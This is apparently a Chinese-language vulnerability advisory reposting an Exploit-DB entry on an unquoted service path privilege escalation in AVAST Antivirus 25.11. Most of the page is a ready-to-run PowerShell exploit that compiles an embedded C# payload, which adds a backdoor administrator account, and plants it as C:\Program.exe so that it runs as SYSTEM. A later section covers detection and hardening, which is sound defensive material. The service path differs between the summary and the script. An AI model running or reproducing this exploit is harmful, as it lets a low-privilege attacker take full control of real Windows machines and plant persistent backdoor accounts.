[local] AVAST Antivirus 25.11 - Unquoted Service Path
AVAST Antivirus 25.11 因服务路径未加引号导致本地权限提升漏洞
High · CVSS 7.8📋 漏洞基础信息
| CVE | 未分配CVE |
|---|---|
| 漏洞类型 | 未引用的服务路径(Unquoted Service Path) |
| 受影响版本 | AVAST Antivirus 25.11(及可能更早版本) |
| 危害等级 | High · CVSS 7.8 |
| 发布日期 | 2026-04-22 |
| 提交者 | Milad Karimi (Ex3ptionaL) |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
系统中某个服务的可执行文件路径包含空格且未被双引号括起,Windows 服务管理程序在启动时会按照路径中的空格拆分字符串,依次尝试在截断后的路径下查找并执行同名程序,攻击者可将恶意程序放入可通过此方式命中的目录中实现权限提升。
🎯 攻击场景
攻击者首先需要具备本地用户权限。1. 使用命令行工具 `sc qc <服务名>` 或检查注册表找到未加引号的服务路径,例如 `C:\Program Files\AVAST Software\Avast\avastsvc.exe`。2. 确认路径中包含空格且未加引号。3. 在可写入的目录(如 `C:\Program.exe` 或 `C:\Program Files\AVAST.exe`)放置一个恶意可执行文件,命名为与路径截断后匹配的名称。4. 重启服务或等待系统重启触发服务启动,恶意代码将以 SYSTEM 权限执行。
💥 漏洞影响
本地权限提升:攻击者可将低权限账户提升至 SYSTEM 权限,进而完全控制受影响的系统。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:
<#
.EXAMPLE
# 检查漏洞是否存在(以管理员权限运行,但实际利用不需要管理员)
.\avast_unquoted_svc_exploit.ps1 -Check
# 自动利用漏洞(需要重启服务或系统以触发)
.\avast_unquoted_svc_exploit.ps1 -Exploit -PayloadPath "C:\Users\Public\evil.exe"
# 完整自动利用,通过创建标准用户可写路径,放置恶意文件,并等待服务重启
.\avast_unquoted_svc_exploit.ps1 -Exploit -PayloadPath "C:\Program.exe" -Force
#>
param(
[switch]$Check, # 仅检查是否存在漏洞
[switch]$Exploit, # 执行漏洞利用(需要在非管理员PowerShell中执行)
[string]$PayloadPath # 要放置的恶意可执行文件的绝对路径(如不指定则在标准位置创建并提权)
)
$ErrorActionPreference = "Stop"
# ============================================================
# 核心变量
# 服务路径: "C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe"
# 未加引号,Windows会依次尝试:
# C:\Program.exe
# C:\Program Files\AVAST.exe
# C:\Program Files\AVAST Software\SecureLine.exe
# C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe
# 攻击者只需在任意一个截断路径上创建恶意exe,当服务启动时就会被以SYSTEM权限执行。
# ============================================================
$SERVICE_NAME = "SecureLine"
$SERVICE_PATH_UNQUOTED = "C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe"
# 列出所有可能的截断路径(按优先级从高到低)
$candidates = @(
"C:\Program.exe",
"C:\Program Files\AVAST.exe",
"C:\Program Files\AVAST Software\SecureLine.exe"
)
# ----------- 辅助函数 -----------
function Write-Color {
param([string]$Text, [string]$Color="White")
Write-Host $Text -ForegroundColor $Color
}
# ----------- 检测漏洞 -----------
function Test-Vulnerability {
Write-Color "`n[*] 正在检查 Avast SecureLine 服务是否存在未引号服务路径漏洞..." Cyan
try {
$service = Get-Service -Name $SERVICE_NAME -ErrorAction Stop
$path = (Get-CimInstance -ClassName Win32_Service -Filter "Name='$SERVICE_NAME'").PathName
Write-Color "[+] 服务 '$SERVICE_NAME' 存在,二进制路径: $path" Green
if ($path -match '^[A-Za-z]:\\.+\.exe$' -and $path -notmatch '^".+"') {
Write-Color "[!] 漏洞确认!路径未使用引号包围:`n $path" Yellow
Write-Color "[*] 可能的提权路径(按优先级):" Cyan
$candidates | ForEach-Object { Write-Color " -> $_" Magenta }
# 检查目标目录是否可写(对标准用户)
Write-Color "[*] 检查写入权限:" Cyan
$testDir = [System.IO.Path]::GetDirectoryName($candidates[0])
$testFile = Join-Path $testDir "test_write_avast.txt"
try {
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force
Write-Color "[+] 目录 '$testDir' 可写!标准用户可以放置恶意文件。" Green
} catch {
Write-Color "[-] 目录 '$testDir' 不可写,尝试其他路径(如 C:\Program Files\AVAST\)" Red
# 检查第二个候选路径的目录
$testDir2 = [System.IO.Path]::GetDirectoryName($candidates[1])
try {
$testFile2 = Join-Path $testDir2 "test_avast2.txt"
[System.IO.File]::WriteAllText($testFile2, "test")
Remove-Item $testFile2 -Force
Write-Color "[+] 目录 '$testDir2' 可写!" Green
} catch {
Write-Color "[-] 标准用户不可写入任何候选目录。需要目标有一个可写路径。`n 如果当前用户是普通用户,可能无法利用此漏洞。" Red
}
}
return $true
} else {
Write-Color "[-] 服务路径已加引号,漏洞不存在。" Red
return $false
}
} catch {
Write-Color "[-] 无法查询服务,可能未安装 Avast SecureLine 或没有权限。" Red
return $false
}
}
# ----------- 漏洞利用 -----------
function Invoke-Exploit {
param([string]$PayloadFullPath)
Write-Color "[*] 开始利用未引号服务路径漏洞..." Cyan
# 1. 检查服务存在且路径未引号
try {
$service = Get-Service -Name $SERVICE_NAME -ErrorAction Stop
$path = (Get-CimInstance -ClassName Win32_Service -Filter "Name='$SERVICE_NAME'").PathName
if ($path -match '^"') {
Write-Color "[-] 服务路径已加引号,漏洞不存在。" Red
return
}
} catch {
Write-Color "[-] 无法获取服务信息,请检查服务是否安装。" Red
return
}
# 2. 确定要使用的截断路径(选择第一个可写目录)
$targetDir = $null
$targetExePath = $null
foreach ($candidate in $candidates) {
$dir = [System.IO.Path]::GetDirectoryName($candidate)
# 尝试创建测试文件检查可写性
try {
$testFile = Join-Path $dir "avast_write_test_" + [System.IO.Path]::GetRandomFileName()
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force
$targetDir = $dir
$targetExePath = $candidate
Write-Color "[+] 可写目录: $dir -> 将放置恶意文件: $targetExePath" Green
break
} catch {
continue
}
}
if (-not $targetExePath) {
Write-Color "[-] 没有找到任何可写的候选目录。尝试使用 C:\ (通常标准用户可写?)" Red
Write-Color "[*] 在很多系统上普通用户可以在 C:\ 下创建文件。尝试 C:\Program.exe" Yellow
# 检查 C:\
try {
$testFileC = "C:\avast_test_write_" + [System.IO.Path]::GetRandomFileName() + ".tmp"
[System.IO.File]::WriteAllText($testFileC, "test")
Remove-Item $testFileC -Force
$targetDir = "C:\"
$targetExePath = "C:\Program.exe"
Write-Color "[+] C:\ 可写,使用 C:\Program.exe" Green
} catch {
Write-Color "[-] C:\ 不可写。利用失败。当前用户权限不足。" Red
return
}
}
# 3. 确定payload文件
if (-not $PayloadFullPath) {
Write-Color "[*] 未指定Payload,将生成一个简单的提权后门(添加管理员用户)" Yellow
# 生成一个简单的payload(生产环境中请替换为真实的meterpreter等)
$payloadCode = @"
using System;
using System.Diagnostics;
using System.Security.Principal;
class Program {
static void Main() {
// 添加管理员用户(演示用,实际应反弹shell或执行恶意代码)
try {
string username = "avast_exploit";
string password = "P@ssw0rd_123!";
ProcessStartInfo psi = new ProcessStartInfo("net", $"user {username} {password} /add");
psi.UseShellExecute = false;
psi.Verb = "runas";
Process.Start(psi)?.WaitForExit();
psi = new ProcessStartInfo("net", $"localgroup Administrators {username} /add");
psi.UseShellExecute = false;
Process.Start(psi)?.WaitForExit();
// 清理痕迹或执行其他操作
System.IO.File.WriteAllText("C:\\avast_exploit_success.txt", "Exploit succeeded at " + DateTime.Now.ToString());
} catch {}
}
}
"@
$compilerPath = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
if (-not (Test-Path $compilerPath)) {
$compilerPath = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
}
if (Test-Path $compilerPath) {
$tempCsFile = Join-Path $env:TEMP "avast_payload.cs"
$tempExeFile = Join-Path $env:TEMP "avast_payload.exe"
[System.IO.File]::WriteAllText($tempCsFile, $payloadCode, [System.Text.Encoding]::UTF8)
# 编译
& $compilerPath /target:exe /out:$tempExeFile $tempCsFile 2>&1 | Out-Null
if (Test-Path $tempExeFile) {
$PayloadFullPath = $tempExeFile
Write-Color "[+] 已生成payload: $PayloadFullPath" Green
} else {
Write-Color "[-] 编译失败,请指定一个准备好的恶意exe路径" Red
return
}
} else {
Write-Color "[-] 未找到C#编译器,无法自动生成payload。请使用 -PayloadPath 指定一个可执行文件。" Red
return
}
}
# 4. 将payload复制到目标路径
try {
Write-Color "[*] 复制payload到: $targetExePath" Cyan
Copy-Item -Path $PayloadFullPath -Destination $targetExePath -Force
Write-Color "[+] 恶意文件已放置到: $targetExePath" Green
} catch {
Write-Color "[-] 复制失败: $_" Red
return
}
# 5. 触发!等待服务重启或系统重启
Write-Color "[*] 漏洞利用文件已放置。" Yellow
Write-Color "[*] 当服务重新启动时(手动、系统重启、或下次系统启动),会以SYSTEM权限执行:$targetExePath" Yellow
Write-Color "[*] 你可以通过以下方式手动触发服务重启:" Cyan
Write-Color " sc stop $SERVICE_NAME ; sc start $SERVICE_NAME # 需要管理员权限" Gray
Write-Color " 或重启系统(不需要管理员,但需要用户交互)" Gray
Write-Color "`n[!] 注意:如果当前没有管理员权限,无法直接启动停止服务。等待下次系统启动或服务自动重启即可。" Magenta
}
# ----------- 主执行逻辑 -----------
# 检测当前是否在管理员上下文(只是为了提示,不需要管理员也能利用)
$isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
Write-Color "============================================" Cyan
Write-Color " AVAST SecureLine 未引号服务路径漏洞利用工具 " Cyan
Write-Color " 影响版本: <= 25.11" Cyan
Write-Color " 测试平台: Windows 11" Cyan
Write-Color "============================================" Cyan
if ($isAdmin) {
Write-Color "[*] 当前以管理员权限运行(但利用不需要管理员,仅检测需要)" Yellow
}
if ($Check) {
Test-Vulnerability
exit
}
if ($Exploit) {
Invoke-Exploit -PayloadFullPath $PayloadPath
exit
}
# 默认行为:显示帮助
Write-Color "`n用法:" Yellow
Write-Color " PowerShell -ExecutionPolicy Bypass -File $($MyInvocation.MyCommand.Name) -Check" Gray
Write-Color " PowerShell -ExecutionPolicy Bypass -File $($MyInvocation.MyCommand.Name) -Exploit [-PayloadPath <path>]" Gray
Write-Color "`n示例:" Yellow
Write-Color " # 检查漏洞是否存在:" Gray
Write-Color " .\$($MyInvocation.MyCommand.Name) -Check" Gray
Write-Color " # 利用漏洞,并自动生成提权payload:" Gray
Write-Color " .\$($MyInvocation.MyCommand.Name) -Exploit" Gray
Write-Color " # 利用漏洞,使用自定义payload:" Gray
Write-Color " .\$($MyInvocation.MyCommand.Name) -Exploit -PayloadPath C:\Tools\backdoor.exe" Gray🔬 深度技术分析
漏洞触发机制
该漏洞属于经典的 Windows 服务未加引号路径(Unquoted Service Path) 问题。根本原因是 Avast SecureLine 服务(服务名 SecureLine)的可执行文件路径在注册表或服务管理器中未用引号包围。
具体路径为:
C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe根据 Windows 服务控制管理器(SCM)的路径解析规则,当一个服务映像路径不包含引号且包含空格时,SCM 会尝试按以下顺序查找并执行可执行文件:
1. C:\Program.exe
2. C:\Program Files\AVAST.exe (注意:这里将空格后的内容视为一个文件,即先尝试 Program Files\AVAST.exe,但在实际解析中,SCM 会从路径最左侧开始截断)
3. C:\Program Files\AVAST Software\SecureLine.exe
4. C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe(最终正确路径)
准确解析逻辑是:SCM 从空字符开始依次向后查找,每当遇到空格时,就假设之前的字符串是一个完整的文件路径并尝试启动。如果该文件存在且可执行,就直接运行它,不再继续解析后续部分。
因此,若攻击者能够将恶意可执行文件命名为 Program.exe 并放置在 C:\ 根目录,当服务启动时,Windows 会优先找到 C:\Program.exe 并以 LocalSystem(SYSTEM) 权限执行。
利用链分析
攻击者利用该漏洞的典型步骤包括:
1. 权限前提:攻击者已在目标系统上获得一个低权限用户(如普通域用户或本地用户)的代码执行能力(例如通过钓鱼、漏洞)。该用户不需要管理员权限。
2. 发现漏洞:使用 sc qc SecureLine 或 WMI 查询服务配置,发现 BINARY_PATH_NAME 字段的路径未加引号且包含空格。
3. 定位可写目录:检查上述截断路径列表中的每个父目录(C:\、C:\Program Files\AVAST Software\SecureLine\ 等),找到标准用户具有写入权限的目录。
- 典型情况:Windows 默认情况下,C:\ 根目录允许 BUILTIN\Users 组创建文件和文件夹(具体取决于 UAC 设置和 Windows 版本)。因此 C:\Program.exe 是一个高可行性路径。
4. 部署恶意载荷:将恶意可执行文件(如后门、提权工具)复制到目标可写目录,并命名为对应的截断文件名(例如 C:\Program.exe)。
5. 触发执行:
- 被动触发:等待系统重启或服务因某些原因(如系统更新、手动重启)自动启动。当服务启动时,SCM 寻找 C:\Program.exe 并执行。
- 主动触发:如果当前用户具备 SeShutdownPrivilege(大多数标准用户都有),可以强制系统重启。或者,如果服务启动类型为 自动,可以通过 shutdown /r /t 0 重启。
6. 权限提升:恶意代码在 NT AUTHORITY\SYSTEM 账户下运行,攻击者获得最高权限,可以执行任意操作(如创建后门用户、窃取凭据、横向移动)。
关键代码/数据结构
- Windows API:
CreateService/ChangeServiceConfig/QueryServiceConfig。这些 API 在处理服务路径时,会直接使用lpBinaryPathName参数传入的字符串。若该字符串未加引号,后续StartService触发时,SCM 内部会调用CreateProcess或ShellExecute,而 Windows 的路径解析机制决定了漏洞的形成。 - 注册表键值:
HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>\ImagePath。该键值存储实际路径,攻击者可以直接修改(需要管理员权限)或读取。工具中的sc qc命令即读取此处。 - 核心结构:
SERVICE_QUERY_CONFIG结构体(来自Win32_ServiceWMI 类或QueryServiceConfigAPI),其lpBinaryPathName成员直接暴露了漏洞点。
检测与防御
蓝队检测(日志、流量、EDR)
1. 服务配置审计:
- 定期扫描所有服务的 ImagePath 值,查找包含空格且未用双引号包围的路径。可使用 PowerShell:
```powershell
Get-WmiObject Win32_Service | Where-Object { $_.PathName -match '^[^"]' -and $_.PathName -match ' ' }
```
- 监控对 C:\Program.exe、C:\Program Files\AVAST.exe 等已知敏感路径的文件创建事件(Sysmon Event ID 11)。
2. 进程创建监控:
- 监控从非标准路径启动的 SecureLine 服务进程。如果 svchost.exe 或 services.exe 派生出的子进程不是 VpnSvc.exe,而是 Program.exe 或 AVAST.exe,则为异常。
- 利用 Sysmon Event ID 1(进程创建)或 EDR 的进程链检测,重点关注 Image 路径中带有空格、且父进程为 services.exe 的 exe。
3. 行为检测:
- 标准用户突然在 C:\ 根目录创建可执行文件(尤其是命名为 Program.exe),属于可疑行为。
- 检测到异常的服务启动或系统重启请求(shutdown.exe),结合上下文分析。
防御措施(红队/蓝队)
1. 厂商修复:Avast 应更新安装程序,在注册服务时将路径包含在引号中:
```
"C:\Program Files\AVAST Software\SecureLine\VpnSvc.exe"
```
2. 系统加固:
- 限制根目录写入权限:通过组策略或 NTFS 权限,移除普通用户在 C:\ 根目录的 写入 / 创建文件 权限(但可能影响某些安装程序或兼容性)。
- 启用 UAC:标准用户在没有 UAC 提权的情况下,通常无法写入 C:\Program Files\ 等敏感目录。
- 使用 AppLocker / WDAC:配置白名单策略,仅允许 C:\Program Files\ 下的签名可执行文件运行,阻止所有非预期路径(如 C:\Program.exe)的执行。
🛡️ 修复建议
官方未发布补丁。临时缓解措施:管理员手动将服务映像路径的注册表项或 sc 配置的 binPath 用双引号括起来,例如修改为 `"C:\Program Files\AVAST Software\Avast\avastsvc.exe"`。建议用户密切关注 AVAST 官方更新。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 07:43 | 来源: Exploit-DB